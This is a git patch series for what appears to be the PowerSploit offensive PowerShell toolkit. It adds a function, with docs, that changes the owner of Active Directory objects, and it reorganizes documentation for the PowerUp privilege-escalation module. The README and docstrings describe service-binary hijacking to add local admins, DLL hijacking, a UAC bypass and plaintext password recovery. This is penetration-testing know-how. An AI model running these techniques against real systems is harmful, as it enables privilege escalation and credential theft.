($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid + if ($OwnerSid) { + $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid + } + else { + Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" + } + } + + PROCESS { + if ($OwnerIdentityReference) { + $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $Identity + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + try { + Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" + $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) + $Entry.PsBase.CommitChanges() + } + catch { + Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" + } + } + } + } +} + + function Get-DomainObjectAcl { <# .SYNOPSIS diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 7e2abcb2..71667c08 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -51,6 +51,7 @@ FunctionsToExport = @( 'Get-DomainComputer', 'Get-DomainObject', 'Set-DomainObject', + 'Set-DomainObjectOwner', 'Get-DomainObjectAcl', 'Add-DomainObjectAcl', 'Find-InterestingDomainAcl', diff --git a/docs/Recon/Set-DomainObjectOwner.md b/docs/Recon/Set-DomainObjectOwner.md new file mode 100755 index 00000000..0da88199 --- /dev/null +++ b/docs/Recon/Set-DomainObjectOwner.md @@ -0,0 +1,234 @@ +# Set-DomainObjectOwner + +## SYNOPSIS +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Set-DomainObjectOwner [-Identity] -OwnerIdentity [-Domain ] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. +Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y +``` + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OwnerIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Owner + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Set-DomainUserPassword.md b/docs/Recon/Set-DomainUserPassword.md index 17122946..2dd111a8 100755 --- a/docs/Recon/Set-DomainUserPassword.md +++ b/docs/Recon/Set-DomainUserPassword.md @@ -1,7 +1,7 @@ # Set-DomainUserPassword ## SYNOPSIS -Sets the password for a given user identity and returns the user object. +Sets the password for a given user identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause From 5da1774219284bbe1539675e84f5c8b4370b386e Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 13 Dec 2016 17:23:07 -0500 Subject: [PATCH 215/296] updated mkdocs.yml --- mkdocs.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/mkdocs.yml b/mkdocs.yml index fcaef8d2..accd72bc 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -34,6 +34,7 @@ pages: - Get-DomainComputer: 'Recon/Get-DomainComputer.md' - Get-DomainObject: 'Recon/Get-DomainObject.md' - Set-DomainObject: 'Recon/Set-DomainObject.md' + - Set-DomainObjectOwner: 'Recon/Set-DomainObjectOwner.md' - Get-DomainObjectAcl: 'Recon/Get-DomainObjectAcl.md' - Add-DomainObjectAcl: 'Recon/Add-DomainObjectAcl.md' - Find-InterestingDomainAcl: 'Recon/Find-InterestingDomainAcl.md' From 7964823e3f398c41a7ad1c0e8c4c28c0806a9c0d Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 11:53:29 -0500 Subject: [PATCH 216/296] Added documentation for PowerUp --- Privesc/PowerUp.ps1 | 190 ++++++++--------- Privesc/Privesc.psd1 | 43 ++-- Privesc/README.md | 22 +- docs/Privesc/Add-ServiceDacl.md | 68 ++++++ docs/Privesc/Enable-Privilege.md | 105 ++++++++++ docs/Privesc/Find-PathDLLHijack.md | 45 ++++ docs/Privesc/Find-ProcessDLLHijack.md | 127 ++++++++++++ docs/Privesc/Get-ApplicationHost.md | 95 +++++++++ docs/Privesc/Get-CachedGPPPassword.md | 55 +++++ docs/Privesc/Get-ModifiablePath.md | 102 +++++++++ docs/Privesc/Get-ModifiableRegistryAutoRun.md | 44 ++++ .../Get-ModifiableScheduledTaskFile.md | 45 ++++ docs/Privesc/Get-ModifiableService.md | 40 ++++ docs/Privesc/Get-ModifiableServiceFile.md | 45 ++++ docs/Privesc/Get-ProcessTokenGroup.md | 114 ++++++++++ docs/Privesc/Get-ProcessTokenPrivilege.md | 131 ++++++++++++ .../Get-RegistryAlwaysInstallElevated.md | 45 ++++ docs/Privesc/Get-RegistryAutoLogon.md | 44 ++++ docs/Privesc/Get-ServiceDetail.md | 65 ++++++ docs/Privesc/Get-SiteListPassword.md | 96 +++++++++ docs/Privesc/Get-System.md | 172 ++++++++++++++++ docs/Privesc/Get-UnattendedInstallFile.md | 44 ++++ docs/Privesc/Get-UnquotedService.md | 45 ++++ docs/Privesc/Get-WebConfig.md | 93 +++++++++ docs/Privesc/Install-ServiceBinary.md | 175 ++++++++++++++++ docs/Privesc/Invoke-PrivescAudit.md | 63 ++++++ docs/Privesc/Invoke-ServiceAbuse.md | 194 ++++++++++++++++++ docs/Privesc/Invoke-WScriptUACBypass.md | 85 ++++++++ docs/Privesc/Restore-ServiceBinary.md | 87 ++++++++ docs/Privesc/Set-ServiceBinaryPath.md | 92 +++++++++ docs/Privesc/Test-ServiceDaclPermission.md | 112 ++++++++++ docs/Privesc/Write-HijackDll.md | 173 ++++++++++++++++ docs/Privesc/Write-ServiceBinary.md | 191 +++++++++++++++++ docs/Privesc/Write-UserAddMSI.md | 56 +++++ docs/Privesc/index.md | 55 +++++ docs/index.md | 1 + mkdocs.yml | 34 +++ 37 files changed, 3067 insertions(+), 126 deletions(-) create mode 100755 docs/Privesc/Add-ServiceDacl.md create mode 100755 docs/Privesc/Enable-Privilege.md create mode 100755 docs/Privesc/Find-PathDLLHijack.md create mode 100755 docs/Privesc/Find-ProcessDLLHijack.md create mode 100755 docs/Privesc/Get-ApplicationHost.md create mode 100755 docs/Privesc/Get-CachedGPPPassword.md create mode 100755 docs/Privesc/Get-ModifiablePath.md create mode 100755 docs/Privesc/Get-ModifiableRegistryAutoRun.md create mode 100755 docs/Privesc/Get-ModifiableScheduledTaskFile.md create mode 100755 docs/Privesc/Get-ModifiableService.md create mode 100755 docs/Privesc/Get-ModifiableServiceFile.md create mode 100755 docs/Privesc/Get-ProcessTokenGroup.md create mode 100755 docs/Privesc/Get-ProcessTokenPrivilege.md create mode 100755 docs/Privesc/Get-RegistryAlwaysInstallElevated.md create mode 100755 docs/Privesc/Get-RegistryAutoLogon.md create mode 100755 docs/Privesc/Get-ServiceDetail.md create mode 100755 docs/Privesc/Get-SiteListPassword.md create mode 100755 docs/Privesc/Get-System.md create mode 100755 docs/Privesc/Get-UnattendedInstallFile.md create mode 100755 docs/Privesc/Get-UnquotedService.md create mode 100755 docs/Privesc/Get-WebConfig.md create mode 100755 docs/Privesc/Install-ServiceBinary.md create mode 100755 docs/Privesc/Invoke-PrivescAudit.md create mode 100755 docs/Privesc/Invoke-ServiceAbuse.md create mode 100755 docs/Privesc/Invoke-WScriptUACBypass.md create mode 100755 docs/Privesc/Restore-ServiceBinary.md create mode 100755 docs/Privesc/Set-ServiceBinaryPath.md create mode 100755 docs/Privesc/Test-ServiceDaclPermission.md create mode 100755 docs/Privesc/Write-HijackDll.md create mode 100755 docs/Privesc/Write-ServiceBinary.md create mode 100755 docs/Privesc/Write-UserAddMSI.md create mode 100644 docs/Privesc/index.md diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 6fffef0a..8ad90444 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -739,9 +739,9 @@ function Get-ModifiablePath { Parses a passed string containing multiple possible file/folder paths and returns the file paths where the current user has modification rights. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -935,9 +935,9 @@ function Get-TokenInformation { Helpers that returns token groups or privileges for a passed process/thread token. Used by Get-ProcessTokenGroup and Get-ProcessTokenPrivilege. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1065,9 +1065,9 @@ function Get-ProcessTokenGroup { Returns all SIDs that the current token context is a part of, whether they are disabled or not. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Get-TokenInformation +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation .DESCRIPTION @@ -1197,9 +1197,9 @@ function Get-ProcessTokenPrivilege { Returns all privileges for the current (or specified) process ID. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Get-TokenInformation +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation .DESCRIPTION @@ -1354,9 +1354,9 @@ function Enable-Privilege { Enables a specific privilege for the current process. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1451,9 +1451,9 @@ function Add-ServiceDacl { Adds a Dacl field to a service object returned by Get-Service. -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1567,9 +1567,9 @@ function Set-ServiceBinaryPath { Sets the binary path for a service to a specified value. -Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1688,9 +1688,9 @@ function Test-ServiceDaclPermission { Tests one or more passed services or service names against a given permission set, returning the service objects where the current user have the specified permissions. -Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: Add-ServiceDacl +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Add-ServiceDacl .DESCRIPTION @@ -1868,9 +1868,9 @@ function Get-UnquotedService { Returns the name and binary path for services with unquoted paths that also have a space in the name. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission .DESCRIPTION @@ -1931,9 +1931,9 @@ function Get-ModifiableServiceFile { Enumerates all services and returns vulnerable service files. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Test-ServiceDaclPermission +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath .DESCRIPTION @@ -1989,9 +1989,9 @@ function Get-ModifiableService { Enumerates all services and returns services for which the current user can modify the binPath. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Test-ServiceDaclPermission +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail .DESCRIPTION @@ -2036,9 +2036,9 @@ function Get-ServiceDetail { Returns detailed information about a specified service by querying the WMI win32_service class for the specified service name. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -2109,9 +2109,9 @@ function Invoke-ServiceAbuse { Abuses a function the current user has configuration rights on in order to add a local administrator or execute a custom command. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath .DESCRIPTION @@ -2346,9 +2346,9 @@ function Write-ServiceBinary { Patches in the specified command to a pre-compiled C# service executable and writes the binary out to the specified ServicePath location. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -2529,9 +2529,9 @@ function Install-ServiceBinary { Replaces the service binary for the specified service with one that executes a specified command as SYSTEM. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary .DESCRIPTION @@ -2698,9 +2698,9 @@ function Restore-ServiceBinary { Restores a service binary backed up by Install-ServiceBinary. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ServiceDetail, Get-ModifiablePath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath .DESCRIPTION @@ -2793,9 +2793,9 @@ function Find-ProcessDLLHijack { Finds all DLL hijack locations for currently running processes. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -2948,9 +2948,9 @@ function Find-PathDLLHijack { Finds all directories in the system %PATH% that are modifiable by the current user. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ModifiablePath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath .DESCRIPTION @@ -3001,9 +3001,9 @@ function Write-HijackDll { Patches in the path to a specified .bat (containing the specified command) into a pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3229,9 +3229,9 @@ function Get-RegistryAlwaysInstallElevated { Checks if any of the AlwaysInstallElevated registry keys are set. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3298,9 +3298,9 @@ function Get-RegistryAutoLogon { Finds any autologon credentials left in the registry. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3361,9 +3361,9 @@ function Get-ModifiableRegistryAutoRun { Returns any elevated system autoruns in which the current user can modify part of the path string. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath .DESCRIPTION @@ -3439,9 +3439,9 @@ function Get-ModifiableScheduledTaskFile { Returns scheduled tasks where the current user can modify any file in the associated task action string. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath .DESCRIPTION @@ -3518,9 +3518,9 @@ function Get-UnattendedInstallFile { Checks several locations for remaining unattended installation files, which may have deployment credentials. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .EXAMPLE @@ -3577,9 +3577,9 @@ function Get-WebConfig { This script will recover cleartext and encrypted connection strings from all web.config files on the system. Also, it will decrypt them if needed. -Author: Scott Sutherland, Antti Rantasaari -License: BSD 3-Clause -Required Dependencies: None +Author: Scott Sutherland, Antti Rantasaari +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3791,9 +3791,9 @@ function Get-ApplicationHost { Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. -Author: Scott Sutherland -License: BSD 3-Clause -Required Dependencies: None +Author: Scott Sutherland +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3952,10 +3952,10 @@ function Get-SiteListPassword { Retrieves the plaintext passwords for found McAfee's SiteList.xml files. Based on Jerome Nokin (@funoverip)'s Python solution (in links). -Author: Jerome Nokin (@funoverip) -PowerShell Port: @harmj0y -License: BSD 3-Clause -Required Dependencies: None +Author: Jerome Nokin (@funoverip) +PowerShell Port: @harmj0y +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4153,9 +4153,9 @@ function Get-CachedGPPPassword { Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. -Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y -License: BSD 3-Clause -Required Dependencies: None +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4360,9 +4360,9 @@ function Write-UserAddMSI { Writes out a precompiled MSI installer that prompts for a user/group addition. This function can be used to abuse Get-RegistryAlwaysInstallElevated. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4414,9 +4414,9 @@ function Invoke-WScriptUACBypass { Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. -Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie -License: BSD 3-Clause -Required Dependencies: None +Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4650,9 +4650,9 @@ function Invoke-PrivescAudit { Executes all functions that check for various Windows privilege escalation opportunities. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4979,4 +4979,6 @@ $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] $NTDll = $Types['ntdll'] +Set-Alias Get-CurrentUserTokenGroupSid Get-ProcessTokenGroup +Set-Alias Get-UnquotedService Get-UnquotedService Set-Alias Invoke-AllChecks Invoke-PrivescAudit diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index fb662252..6d4e3bd2 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -23,37 +23,36 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( - 'Add-ServiceDacl', - 'Enable-Privilege', - 'Find-PathDLLHijack', - 'Find-ProcessDLLHijack', - 'Get-ApplicationHost', - 'Get-CachedGPPPassword', 'Get-ModifiablePath', - 'Get-ModifiableRegistryAutoRun', - 'Get-ModifiableScheduledTaskFile', - 'Get-ModifiableService', - 'Get-ModifiableServiceFile', 'Get-ProcessTokenGroup', 'Get-ProcessTokenPrivilege', + 'Enable-Privilege', + 'Add-ServiceDacl', + 'Set-ServiceBinaryPath', + 'Test-ServiceDaclPermission', + 'Get-UnquotedService', + 'Get-ModifiableServiceFile', + 'Get-ModifiableService', + 'Get-ServiceDetail', + 'Invoke-ServiceAbuse', + 'Write-ServiceBinary', + 'Install-ServiceBinary', + 'Restore-ServiceBinary', + 'Find-ProcessDLLHijack', + 'Find-PathDLLHijack', + 'Write-HijackDll', 'Get-RegistryAlwaysInstallElevated', 'Get-RegistryAutoLogon', - 'Get-ServiceDetail', - 'Get-SiteListPassword', - 'Get-TokenInformation', - 'Get-UnquotedService', + 'Get-ModifiableRegistryAutoRun', + 'Get-ModifiableScheduledTaskFile', 'Get-UnattendedInstallFile', 'Get-WebConfig', - 'Install-ServiceBinary', - 'Invoke-ServiceAbuse', + 'Get-ApplicationHost', + 'Get-SiteListPassword', + 'Get-CachedGPPPassword', + 'Write-UserAddMSI', 'Invoke-WScriptUACBypass', 'Invoke-PrivescAudit', - 'Restore-ServiceBinary', - 'Set-ServiceBinaryPath', - 'Test-ServiceDaclPermission', - 'Write-UserAddMSI', - 'Write-HijackDll', - 'Write-ServiceBinary', 'Get-System' ) diff --git a/Privesc/README.md b/Privesc/README.md index d5b499c3..ac161d83 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -27,13 +27,18 @@ Required Dependencies: None Optional Dependencies: None -### Service Enumeration: - Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name +### Token/Privilege Enumeration/Abuse: + Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not + Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID + Enable-Privilege - enables a specific privilege for the current process + +### Service Enumeration/Abuse: + Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set + Get-UnquotedService - returns services with unquoted paths that also have a space in the name Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config Get-ModifiableService - returns services the current user can modify Get-ServiceDetail - returns detailed information about a specified service - -### Service Abuse: + Set-ServiceBinaryPath - sets the binary path for a service to a specified value Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command @@ -45,7 +50,7 @@ Optional Dependencies: None Write-HijackDll - writes out a hijackable DLL ### Registry Checks: - Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set Get-RegistryAutoLogon - checks for Autologon credentials in the registry Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns @@ -59,9 +64,6 @@ Optional Dependencies: None ### Other Helpers/Meta-Functions: Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify - Get-CurrentUserTokenGroupSid - returns all SIDs that the current user is a part of, whether they are disabled or not - Add-ServiceDacl - adds a Dacl field to a service object returned by Get-Service - Set-ServiceBinPath - sets the binary path for a service to a specified value through Win32 API methods - Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set Write-UserAddMSI - write out a MSI installer that prompts for a user to be added - Invoke-AllChecks - runs all current escalation checks and returns a report + Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe + Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks) diff --git a/docs/Privesc/Add-ServiceDacl.md b/docs/Privesc/Add-ServiceDacl.md new file mode 100755 index 00000000..13e4d64a --- /dev/null +++ b/docs/Privesc/Add-ServiceDacl.md @@ -0,0 +1,68 @@ +# Add-ServiceDacl + +## SYNOPSIS +Adds a Dacl field to a service object returned by Get-Service. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Add-ServiceDacl [-Name] +``` + +## DESCRIPTION +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. +It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Service | Add-ServiceDacl +``` + +Add Dacls for every service the current user can read. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service -Name VMTools | Add-ServiceDacl +``` + +Add the Dacl to the VMTools service object. + +## PARAMETERS + +### -Name +An array of one or more service names to add a service Dacl for. +Passable on the pipeline. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### ServiceProcess.ServiceController + +## NOTES + +## RELATED LINKS + +[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) + diff --git a/docs/Privesc/Enable-Privilege.md b/docs/Privesc/Enable-Privilege.md new file mode 100755 index 00000000..6de9c439 --- /dev/null +++ b/docs/Privesc/Enable-Privilege.md @@ -0,0 +1,105 @@ +# Enable-Privilege + +## SYNOPSIS +Enables a specific privilege for the current process. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Enable-Privilege [-Privilege] +``` + +## DESCRIPTION +Uses RtlAdjustPrivilege to enable a specific privilege for the current process. +Privileges can be passed by string, or the output from Get-ProcessTokenPrivilege +can be passed on the pipeline. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +Enable-Privilege SeShutdownPrivilege + +Get-ProcessTokenPrivilege + + 